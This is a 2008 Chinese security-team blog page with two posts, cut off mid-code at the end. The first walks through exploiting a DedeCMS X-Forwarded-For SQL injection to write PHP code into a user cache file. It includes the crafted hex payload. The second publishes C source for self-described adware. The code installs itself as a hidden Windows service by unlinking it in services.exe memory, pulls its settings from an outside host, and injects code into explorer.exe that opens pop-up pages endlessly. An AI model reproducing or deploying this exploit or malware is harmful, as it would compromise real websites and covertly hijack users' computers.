2008年5月18日星期日

[Tips]Dedecms getip()的漏洞利用

author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com
2008-05-16

flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:

在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php

function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' ");
if(is_array($row))
{
$scrow = $dsql->GetOne("Select titles From #@__scores where integral<={$row['scores']} order by integral desc");
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return '';
}

WriteUserInfos()的代码:

//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__)."/cache/user/$tpath/";
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = "<"."?php\r\n";
$infos .= "\$cfg_userinfos['wtime'] = '".mytime()."';\r\n";
foreach($row as $k=>$v){
if(ereg('[^0-9]',$k)){
$v = str_replace("'","\\'",$v); //这个是利用的关键 :)
$v = ereg_replace("(<\?|\?>)","",$v);
$infos .= "\$cfg_userinfos['{$k}'] = '{$v}';\r\n";
}
}
$infos .= "\r\n?".">";
@
$fp = fopen($userfile,'w');
@
flock($fp);
@
fwrite($fp,$infos);
@
fclose($fp);
return $infos;
}

我们构造
$ipp="121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";

mysql> select 0x68656967655C273B706870696E666F28293B2F2F;
+--------------------------------------------+
| 0x68656967655C273B706870696E666F28293B2F2F |
+--------------------------------------------+
| heige\';phpinfo();// |
+--------------------------------------------+
1 row in set (0.00 sec)

利用流程:
A:
else{ //成功登录
//$ipp="121.11.11.1
',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";
$dsql->ExecuteNoneQuery("update #@__member set logintime=
'".mytime()."',loginip='".$ipp."' where ID='{$row['ID']}';");


B:FushCache()

$row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID=
'{$mid}' ");

C:WriteUserInfos()

heige\
';phpinfo();// ---str_replace-->heige\\';phpinfo();//---fwrite--->heige\\';phpinfo();//

===>$cfg_userinfos['uname'] = 'heige\\';phpinfo();//'; 完美闭和前面的' :)

其中str_replace的部分相当于代码:

<?php
$v="heige\';phpinfo();//";
$v = str_replace("'","\\'",$v);
print $v;
?>

整个过程其实就是一个很完整的"二次攻击",而str_replace("'","\\'",$v);起了关键性的作用 :)

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]

2008年5月16日星期五

[Tips]一个弹窗口的流氓软件

by 云舒
2008-05-16
http://www.ph4nt0m.org

这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。

我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。

这个是主函数,安装,读取配置,注入代码用的。


/**************************************************************************************************
* 1. 给XX作的流氓软件
* 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
*************************************************************************************************
*/
#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<Winsock2.h>
#include 
<windows.h>
#include 
<Tlhelp32.h>

// 是否记录日志
//#define DEBUG
#ifdef DEBUG
    
#define DEBUG_LOG    "c:\debug.txt"
    
// 日志记录函数
    void    LogToFile( WCHAR * );            
#endif

#include 
"ControlService.h"
#include 
"HideService.h"
#include 
"CustomFunction.h"

#pragma comment (lib, 
"Advapi32.lib")
#pragma comment (lib, 
"Shell32.lib")
#pragma comment (lib, 
"ws2_32.lib")
#pragma comment (lib, 
"User32.lib")

#define    REMOTE_FUNC_LENGTH    1024 * 10                // 拷贝的长度
#define    TARGET_PROCESS        L"explorer.exe"            // 要注入代码的目标进程
#define    CONFIG_HOST            "www.icylife.net"            // 读取配置信息的服务器
#define CONFIG_PATH            "/url.txt"                    // 配置信息在配置服务器的路径
#define    IE_PATH                "C:\Program Files\Internet Explorer\iexplore.exe"
#define    DEFAULT_URL            "http://www.he100.com"    // 默认弹出的窗口
#define    DEFAULT_SLEEP_TIME    30 * 60 * 1000            // 默认弹出窗口的间隔时间

// 宏,转换字符串为unicode
#define   MULTI_TO_WIDE( x, y )    MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );

// 弹出窗口之间的间隔时间
int sleep_time;

// 弹出的url地址
char url_path[512= { 0 };

/**************************************************************************************************
* 函数原形
*************************************************************************************************
*/

void        ServiceMain( DWORD, char **);        //服务入口
BOOL        SetDebugPrivilege( );                //获取debug权限
DWORD    GetProcessIdByName(WCHAR * );    //获取进程的PID
void        InjectCode( );                        //写代码到远程进程
void        GetConfig( );                        //更新配置,获取要弹出的地址和弹出间隔时间

/**************************************************************************************************
* 程序入口,主函数
*************************************************************************************************
*/
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
    WCHAR                    filePath[MAX_PATH] 
= { 0 }; //程序本身路径
    SERVICE_TABLE_ENTRY        serviceTable[2];
    
    serviceTable[
0].lpServiceName = SERVICE_NAME;
    serviceTable[
0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;

    serviceTable[
1].lpServiceName = NULL;
    serviceTable[
1].lpServiceProc = NULL;

    GetModuleFileName( NULL, filePath, MAX_PATH );
    
    
// 如果服务未安装,安装
    if!ServiceExists( filePath ) )
    {
        
if( ServiceInstall( filePath ) != TRUE )
        {
            
return -1;
        }
        
else
        {
            
return 0;
        }
    }
    
    
if!StartServiceCtrlDispatcher( serviceTable ) )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256= { 0 };
            wsprintf( tmp, L
"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
            
        
return -1;
    }
    
    
return 0;
}

/**************************************************************************************************
* 服务入口
*************************************************************************************************
*/
void ServiceMain( DWORD argc, char *argv[] )
{
    serviceStatus.dwServiceType 
= SERVICE_WIN32_OWN_PROCESS;
    serviceStatus.dwCurrentState 
= SERVICE_START_PENDING;
    serviceStatus.dwControlsAccepted 
= SERVICE_ACCEPT_STOP;
    serviceStatus.dwWin32ExitCode 
= 0;
    serviceStatus.dwServiceSpecificExitCode 
= 0;
    serviceStatus.dwCheckPoint 
= 0;
    serviceStatus.dwWaitHint 
= 0;
    
    #ifdef DEBUG
        LogToFile( L
"ServiceMain: Try to register service\n" );
    
#endif
    
    hServiceStatus 
= RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
    
if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256= { 0 };
            wsprintf( tmp, L
"ServiceMain: Register service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        
return;
    }

    serviceStatus.dwCurrentState 
= SERVICE_RUNNING;
    serviceStatus.dwCheckPoint 
= 0;
    serviceStatus.dwWaitHint 
= 0;
    
    
if!SetServiceStatus( hServiceStatus, &serviceStatus ) )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256= { 0 };
            swprintf( tmp, L
"ServiceMain: Start service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        
return;        
    }

    #ifdef DEBUG
        LogToFile( L
"ServiceMain: Start service ok\n" );
    
#endif
    
    
// 隐藏服务
    HideService( SERVICE_NAME );

    
// 从网络读取配置
    GetConfig( );

    
// 注入代码
    InjectCode( );

    serviceStatus.dwCurrentState 
= SERVICE_STOPPED;
    
if!SetServiceStatus( hServiceStatus, &serviceStatus) )
    {
        #ifdef DEBUG
            WCHAR    tmp[
256= { 0 };
            wsprintf( tmp, L
"ServiceMain: Stop service error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
    }

    #ifdef DEBUG
        LogToFile( L
"Stop service in main.\n" );
    
#endif
    
    #ifdef DEBUG
        LogToFile( L
"ServiceMain Done.\n" );
    
#endif

    
return;
}

void InjectCode( )
{
    
if! SetDebugPrivilege() )
    {
        #ifdef DEBUG
            LogToFile( L
"Set Debug Privileges error.\n" );
        
#endif

        
return;
    }

    DWORD    dwPID 
= -1;
    
while1 )
    {
        dwPID 
= GetProcessIdByName( TARGET_PROCESS );
        
        
if-1 != dwPID )
        {
            #ifdef DEBUG
                WCHAR    tmp[
256= { 0 };
                wsprintf( tmp, L
"Target process id is %d\n", dwPID );
                LogToFile( tmp );
            
#endif

            
break;
        }

        #ifdef DEBUG
            LogToFile( L
"Target process not found, sleep and continue.\n" );
        
#endif

        Sleep( 
30 * 1000 );
    }

    Sleep( 
2 * 60 * 1000 );

    
// 打开进程
    HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
    
if! hProcess )
    {
        #ifdef DEBUG
            LogToFile( L
"OpenProcess error.\n" );
        
#endif

        
return;
    }

    
//计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
    Arguments    arguments;
    
    memset( (
void *)&arguments, 0sizeof(Arguments) );
    HMODULE    hKernel 
= GetModuleHandleA( "kernel32" );
    
if( hKernel == NULL )
    {
        #ifdef DEBUG
            LogToFile( L
"GetModuleHandle kernel32.dll error.\n" );
        
#endif

        
return;
    }
    arguments.MyLoadLibrary 
= GetProcAddress( hKernel, "LoadLibraryA" );
    arguments.MyGetAddress 
= GetProcAddress( hKernel, "GetProcAddress" );

    strcpy( arguments.MyKernelDll, 
"kernel32.dll" );
    strcpy( arguments.MyProgram, IE_PATH );
    strcpy( arguments.MyShellDll, 
"Shell32.dll" );
    strcpy( arguments.MyShellExecute, 
"ShellExecuteA" );
    strcpy( arguments.MyUrl, url_path );
    strcpy( arguments.MyZeroMemory, 
"RtlZeroMemory" );
    arguments.SleepTime 
= sleep_time;

    
// 在远程进程中分配内存存放参数,可写权限
    Arguments *remote_agrument = (Arguments *)VirtualAllocEx(    hProcess,
                                                                
0,
                                                                
sizeof(Arguments),
                                                                MEM_COMMIT,
                                                                PAGE_READWRITE );
    
if!remote_agrument )
    {
        #ifdef DEBUG
            LogToFile( L
"VirtualAllocEx for arguments error.\n" );
        
#endif

        
return;
    }

    #ifdef DEBUG
    WCHAR tmp[
256= { 0 };
        wsprintf( tmp, L
"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );
        LogToFile( tmp );
    
#endif

    
// 将参数写入远程进程内存
    int    bytes_write;
    
if!WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )
    {
        #ifdef DEBUG
            LogToFile( L
"WriteProcessMemory for arguments error.\n" );
        
#endif
        
return;
    }

    
// 在远程进程中分配内存存放代码,可执行权限
    LPVOID remote_func = VirtualAllocEx(    hProcess,
                                            
0,
                                            REMOTE_FUNC_LENGTH,
                                            MEM_COMMIT,
                                            PAGE_EXECUTE_READWRITE );
    
if!remote_func )
    {
        #ifdef DEBUG
            LogToFile( L
"VirtualAllocEx for function error.\n" );
        
#endif

        
return;
    }

    #ifdef DEBUG
        memset( tmp, 
0sizeof(tmp) );
        wsprintf( tmp, L
"Remote Function Address: 0x%08x\n", remote_func );
        LogToFile( tmp );
    
#endif

    
// 将代码写入远程进程内存
    if!WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )
    {
        #ifdef DEBUG
            LogToFile( L
"WriteProcessMemory for function error.\n" );
        
#endif

        
return;
    }

    #ifdef DEBUG
        memset( tmp, 
0sizeof(tmp) );
        wsprintf( tmp, L
"WriteProcessMemory for function %d bytes\n", bytes_write );
        LogToFile( tmp );
    
#endif
    
    HANDLE    remote_thread 
= CreateRemoteThread( hProcess, 00, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 00 );
    
if ( !remote_thread )
    {
        #ifdef DEBUG
            LogToFile( L
"CreateRemoteThread for function error.\n" );
        
#endif

        
return;
    }
    
    #ifdef DEBUG
        LogToFile( L
"CreateRemoteThread for function ok\n" );
    
#endif
    
    
/*
    WaitForSingleObject( remote_thread, INFINITE );
    
    if( NULL != remote_func )
    {
        VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
        #ifdef DEBUG
            LogToFile( L"VirtualFreeEx for remote_func.\n" );
        #endif
    }
    if( NULL != remote_agrument )
    {
        VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);

        #ifdef DEBUG
            LogToFile( L"VirtualFreeEx for remote_agrument.\n" );
        #endif
    }
    
    if( NULL != remote_thread )
    {
        CloseHandle( remote_thread );

        #ifdef DEBUG
            LogToFile( L"CloseHandle for remote_thread.\n" );
        #endif
    }
    if( NULL != hProcess )
    {
        CloseHandle( hProcess );

        #ifdef DEBUG
            LogToFile( L"CloseHandle for hProcess.\n" );
        #endif
    }
    
*/

    
return;
}

void GetConfig( )
{
    #ifdef DEBUG
        WCHAR    tmp[
256= { 0 };
    
#endif
    
    WSAData                wsa;
    
struct sockaddr_in    sin;

    memset( 
&sin, 0sizeof(struct sockaddr_in) );
    
if( WSAStartup( 0x0202&wsa ) != 0 )
    {
        #ifdef    DEBUG
            memset( tmp, 
0sizeof(tmp) );
            wsprintf( tmp, L
"WSAStartup error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        
goto getconfig_error;
    }

    
struct hostent *phost = gethostbyname( CONFIG_HOST );
    
if( phost == NULL )
    {
        #ifdef    DEBUG
            memset( tmp, 
0sizeof(tmp) );
            wsprintf( tmp, L
"Resolv config host name error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif
        
        WSACleanup( );
        
goto getconfig_error;
    }
    
    memcpy( 
&sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
    sin.sin_family 
= AF_INET;
    sin.sin_port 
= htons( 80 );

    #ifdef    DEBUG
        memset( tmp, 
0sizeof(tmp) );

        WCHAR ip[
256= { 0 };
        MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));

        wsprintf( tmp, L
"Resolv config host name ok: %s\n",ip );
        LogToFile( tmp );
    
#endif
    
    SOCKET    sock 
= socket( AF_INET , SOCK_STREAM , 0 );
    
if( sock == INVALID_SOCKET )
    {
        #ifdef    DEBUG
            memset( tmp, 
0sizeof(tmp) );
            wsprintf( tmp, L
"Connect to %s:%s error: \n", ip, 80, GetLastError() );
            LogToFile( tmp );
        
#endif

        WSACleanup( );
        
goto getconfig_error;
    }

    
int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
    
if( SOCKET_ERROR == ret )
    {
        #ifdef    DEBUG
            memset( tmp, 
0sizeof(tmp) );
            wsprintf( tmp, L
"Connect error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif

        closesocket( sock );
        WSACleanup( );
        
goto getconfig_error;
    }

    
char send_buff[512= { 0 };
    sprintf( send_buff, 
"GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\n\r\n", CONFIG_PATH, CONFIG_HOST );

    #ifdef    DEBUG
        memset( tmp, 
0sizeof(tmp) );
        
        WCHAR tmp2[
256= { 0 };
        MULTI_TO_WIDE( tmp2, send_buff );
        wsprintf( tmp, L
"Send request to get config:\n %s\n", tmp2 );
        LogToFile( tmp );

    
#endif

    ret 
= send( sock, send_buff, strlen(send_buff), 0 );
    
if( SOCKET_ERROR == ret )
    {
        #ifdef    DEBUG
            memset( tmp, 
0sizeof(tmp) );
            wsprintf( tmp, L
"Send request error: %d\n", GetLastError() );
            LogToFile( tmp );
        
#endif

        closesocket( sock );
        WSACleanup( );
        
goto getconfig_error;
    }

    #ifdef    DEBUG
        LogToFile( L
"Send request ok!\n" );
    
#endif
    
    
char recv_buff[1024= { 0 };
    recv( sock, recv_buff, 
10000 );
    
if!recv_buff )
    {
        closesocket( sock );
        WSACleanup( );
        
goto getconfig_error;
    }

    closesocket( sock );
    WSACleanup( );

    
char *content = strstr( recv_buff, "\r\n\r\n" );
    
if!content )
    {
        
goto getconfig_error;
    }

    content 
+= strlen("\r\n\r\n");

    #ifdef    DEBUG
        memset( tmp, 
0sizeof(tmp) );

        WCHAR c[
256= { 0 };
        MULTI_TO_WIDE( c, content );
        
        wsprintf( tmp, L
"Config content is:\n%s\n", c );
        LogToFile( tmp );
    
#endif
    
    
char *split_flag = strstr( content, "|" );
    
if!split_flag )
    {
        
goto getconfig_error;
    }

    
char tmp_time[32= { 0 };
    
char tmp_url[512= { 0 };
    
if( split_flag - content > 32 )
    {
        sleep_time 
= DEFAULT_SLEEP_TIME;
    }
    
else
    {
        strncpy( tmp_time, content, split_flag 
- content );
        sleep_time 
= atoi( tmp_time );
    }

    
if( strlen( split_flag ) >= 512 )
    {
        strcpy( url_path, DEFAULT_URL );
    }
    
else
    {
        strcpy( url_path, split_flag 
+ 1 );
    }
    
    
return;

    getconfig_error:
    
    sleep_time 
= DEFAULT_SLEEP_TIME;
    strcpy( url_path, DEFAULT_URL );

    
return;
}

/**************************************************************************************************
* 记录日志函数
*************************************************************************************************
*/

#ifdef DEBUG
void LogToFile( WCHAR *str )
{
    FILE    
*fp;
    
    fp 
= fopen( DEBUG_LOG, "a" );
    fwprintf( fp, L
"%s\n", str );
    fclose( fp );
}
#endif 


这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。

// yunshu(pst) Copy from zzzevazzz(pst)'s code
// 几个Undocument的结构
typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
typedef 
struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
typedef 
struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

typedef 
struct _SC_SERVICE_PROCESS
{
    PSC_SERVICE_PROCESS Previous;
    PSC_SERVICE_PROCESS Next;
    WCHAR 
*ImagePath;
    DWORD Pid;
    DWORD NumberOfServices;
    
// 
} SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;

typedef 
struct _SC_DEPEND_SERVICE
{
    PSC_DEPEND_SERVICE Next;
    DWORD Unknow;
    PSC_SERVICE_RECORD Service;
    
// 
} SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;

typedef 
struct _SC_SERVICE_RECORD
{
    PSC_SERVICE_RECORD Previous;
    PSC_SERVICE_RECORD Next;
    WCHAR 
*ServiceName;
    WCHAR 
*DisplayName;
    DWORD Index;
    DWORD Unknow0;
    DWORD sErv;
    DWORD ControlCount;
    DWORD Unknow1;
    PSC_SERVICE_PROCESS Process;
    SERVICE_STATUS Status;
    DWORD StartType;
    DWORD ErrorControl;
    DWORD TagId;
    PSC_DEPEND_SERVICE DependOn;
    PSC_DEPEND_SERVICE Depended;
    
// 
} SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;

BOOL SetDebugPrivilege()
{
    BOOL bRet 
= FALSE;
    HANDLE hToken 
= NULL;
    LUID luid;
    TOKEN_PRIVILEGES tp;

    
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, 
&luid))
    {
        tp.PrivilegeCount 
= 1;
        tp.Privileges[
0].Luid = luid;
        tp.Privileges[
0].Attributes = SE_PRIVILEGE_ENABLED;
        bRet 
= AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    }

    
if (hToken) CloseHandle(hToken);
    
return bRet;
}

DWORD GetProcessIdByName(WCHAR 
*Name)
{
    BOOL            bRet 
= FALSE;
    HANDLE            hProcessSnap 
= NULL;
    PROCESSENTRY32    pe32 
= { 0 };
    DWORD            Pid 
= -1;

    hProcessSnap 
= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;

    pe32.dwSize 
= sizeof(PROCESSENTRY32);

    
if (Process32First(hProcessSnap, &pe32))
    {
        
do
        {
            
if ( !_wcsicmp(pe32.szExeFile, Name ) )
            {
                Pid 
= pe32.th32ProcessID;
                
break;
            }
        }
        
while (Process32Next(hProcessSnap, &pe32));
    }

    CloseHandle(hProcessSnap);
    
return Pid;
}

// 修改内存属性为指定值
void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
{
    MEMORY_BASIC_INFORMATION mbi;
    DWORD dwOldProtect, dwWritten;

    VirtualQueryEx(hProcess, Addr, 
&mbi, sizeof(mbi));
    VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, 
&mbi.Protect);
    WriteProcessMemory(hProcess, Addr, 
&Value, sizeof(DWORD), &dwWritten);
    VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, 
&dwOldProtect);
}

//寻找服务链表
PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
{
    WCHAR                FileName[MAX_PATH
+1];
    HANDLE                hFile, hFileMap;
    UCHAR                
* pMap;
    DWORD                dwSize, dwSizeHigh, i, dwRead;
    SC_SERVICE_RECORD    SvcRd, 
*pSvcRd, *pRet = NULL;

    GetSystemDirectory( FileName, MAX_PATH );
    wcscat( FileName, L
"\Services.exe");

    hFile 
= CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
        NULL, OPEN_EXISTING, 
0, NULL);
    
if (INVALID_HANDLE_VALUE == hFile) return NULL;

    dwSizeHigh 
= 0;
    dwSize 
= GetFileSize(hFile, &dwSizeHigh);    

    hFileMap 
= CreateFileMapping(hFile, NULL, PAGE_READONLY, 00, NULL);
    
if (NULL == hFileMap) return NULL;

    pMap 
= (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 000);
    
if (NULL == pMap) return NULL;

    dwSize 
-= 12;
    
for (i=0; i<dwSize; ++i)
    {
        
// 搜索services!ScGetServiceDatabase特征代码
        if (*(DWORD*)(pMap+i) == 0xa1909090 &&
            
*(DWORD*)(pMap+i+8== 0x909090c3)
        {
            #ifdef DEBUG
                WCHAR    tmpBuffer[
256= { 0 };
                wsprintf( tmpBuffer, L
"map is 0x%08x\n", (DWORD *)(pMap+i) );
                LogToFile( tmpBuffer );
            
#endif

            
if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
                ReadProcessMemory(hProcess, pSvcRd, 
&SvcRd, sizeof(SvcRd), &dwRead) &&
                SvcRd.sErv 
== 'vrEs')   // ServiceRecord结构的特征
            {
                pRet 
= pSvcRd;

                #ifdef DEBUG
                    WCHAR    tmpBuffer[
256= { 0 };
                    wsprintf( tmpBuffer, L
"pRet is 0x%08x\n", (DWORD *)(pSvcRd) );
                    LogToFile( tmpBuffer );
                
#endif
                
                
break;
            }
        }
    }

    UnmapViewOfFile(pMap);
    CloseHandle(hFileMap);
    CloseHandle(hFile);

    
//printf( "addr: 0x%08x\n", (DWORD *)pRet );
    return pRet;
}

// 隐藏服务
BOOL HideService( WCHAR *Name )
{
    DWORD                Pid;
    HANDLE                hProcess;
    SC_SERVICE_RECORD    SvcRd, 
*pSvcRd;
    DWORD                dwRead, dwNameSize;
    WCHAR                SvcName[MAX_PATH] 
= { 0 };
    
    dwNameSize 
= ( wcslen(Name) + 1 ) * sizeof(WCHAR);
    
    
if (dwNameSize > sizeof(SvcName)) return FALSE;
    
    Pid 
= GetProcessIdByName( TEXT("Services.exe") );

    #ifdef DEBUG
        WCHAR    tmpBuffer1[
256= { 0 };
        wsprintf( tmpBuffer1, L
"Pid is %d\n", Pid );
        LogToFile( tmpBuffer1 );
    
#endif

    
if (Pid == -1return FALSE;

    
if! SetDebugPrivilege() ) return FALSE;

    hProcess 
= OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
    
if (NULL == hProcess) return FALSE;

    pSvcRd 
= FindFirstServiceRecord(hProcess);
    
if (NULL == pSvcRd)
    {
        #ifdef DEBUG
            LogToFile( L
"Can't Find ServiceDatabase.\n" );
        
#endif

        CloseHandle(hProcess);
        
return FALSE;
    }

    
do
    {
        
if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
            ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, 
&dwRead))
        {
            
// 匹配服务名
            if ( 0 == _wcsicmp(SvcName, Name) )
            {
                
// 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
                ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
                ProtectWriteDword(hProcess, (DWORD 
*)SvcRd.Next, (DWORD)SvcRd.Previous);

                #ifdef DEBUG
                    WCHAR    tmpBuffer2[
256= { 0 };
                    wsprintf( tmpBuffer2, L
"The Service \"%s\" Is Hidden Successfully.\n", Name );
                    LogToFile( tmpBuffer1 );
                
#endif
            
                CloseHandle(hProcess);
                
return TRUE;
            }
        }
        
else
        {
            
break;
        }
    }
    
while (pSvcRd = SvcRd.Next);

    
if( NULL != hProcess )
    {
        CloseHandle(hProcess);
    }

    
return FALSE;


这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。

typedef 
struct _Arguments
{
    
char    MyUrl[512];
    
char    MyProgram[512];
    FARPROC    MyLoadLibrary;
    FARPROC    MyGetAddress;
    
char    MyKernelDll[32];
    
char    MyShellDll[32];
    
char    MyZeroMemory[32];
    
char    MyShellExecute[32];
    DWORD    SleepTime;
}Arguments;

/**************************************************************************************************
* WINAPI函数原形
*************************************************************************************************
*/
typedef HMODULE (__stdcall 
*LOADLIBRARYA)( IN char* lpFileName );
typedef FARPROC (__stdcall 
*GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );
typedef 
void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );

void __stdcall CustomFunction( LPVOID my_arguments )
{
    Arguments    
*func_args = (Arguments *)my_arguments;
    
    LOADLIBRARYA    LoadLibraryA 
= (LOADLIBRARYA)func_args->MyLoadLibrary;
    GETPROCADDRESS    GetProcAddress 
= (GETPROCADDRESS)func_args->MyGetAddress;
    
    HMODULE    h_kernel 
= LoadLibraryA( func_args->MyKernelDll );
    HMODULE    h_shell 
= LoadLibraryA( func_args->MyShellDll );

    ZEROMEMORY    ZeroMemory 
= (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
    DWORD    MyShellExecuteA 
= (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
    DWORD    MySleep;
    DWORD    sleep_time 
= func_args->SleepTime;

    __asm
    {
        push eax
        push esp

        sub esp, 
6
        
        mov    
byte ptr [esp], 'S'
        mov    
byte ptr [esp+1], 'l'
        mov 
byte ptr [esp+2], 'e'
        mov 
byte ptr [esp+3], 'e'
        mov 
byte ptr [esp+4], 'p'
        mov 
byte ptr [esp+5], ''
        lea eax, [esp]

        push eax
        push h_kernel
        call GetProcAddress
        mov  MySleep, eax

        add esp, 
6
        pop esp
        pop eax
    }

    
while1 )
    {
        __asm
        {
            push eax
            push esp
            push ecx
            push ebx

            sub    esp, 
256

            mov    
byte ptr [esp], 'o'
            mov    
byte ptr [esp+1], 'p'
            mov    
byte ptr [esp+2], 'e'
            mov 
byte ptr [esp+3], 'n'
            mov 
byte ptr [esp+4], ''
            lea    ebx, [esp]
            
            push SW_SHOWMAXIMIZED
            push 
0
            push func_args
        
            mov    ecx, func_args
            add    ecx, 200h
            lea    eax, [ecx]
            push eax
        
            push ebx
            push 
0

            call MyShellExecuteA
            
            add esp, 
256

            pop ebx
            pop    ecx
            pop    esp
            pop    eax

            push sleep_time
            call MySleep
        }
    }


这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。

/**************************************************************************************************
* 全局变量
*************************************************************************************************
*/

#define SERVICE_NAME            L"LemonTree"
#define SERVICE_DESCRIPTION        L"LemonTree"
#define    SERVICE_DISPLAY_NAME    L"LemonTree"

SERVICE_STATUS            serviceStatus;
SERVICE_STATUS_HANDLE    hServiceStatus;

BOOL                ServiceInstall( WCHAR 
* );            //安装服务
BOOL                ServiceUnstall( WCHAR * );            //删除服务
void                ServiceControl( DWORD );            //控制服务
BOOL                ServiceExists( WCHAR * );            //判断服务是否存在

/***********************************************************************************
* 安装服务
* 参数:主程序全路径
* 返回:成功返回TRUE,否则为FALSE
**********************************************************************************
*/

BOOL ServiceInstall( WCHAR 
*exeFilePath )
{
    WCHAR    tmpPath[MAX_PATH] 
= { 0 };
    HKEY    key;
    
    SC_HANDLE serviceMangerHandle 
= OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
    
if ( serviceMangerHandle == 0 )
    {
        printf( 
"Install: Open services manager database error: %d\n", GetLastError() );
        
return FALSE;
    }
    
    SC_HANDLE serviceHandle 
= CreateService
    (
        serviceMangerHandle ,
        SERVICE_NAME ,
        SERVICE_DISPLAY_NAME ,
        SERVICE_ALL_ACCESS ,
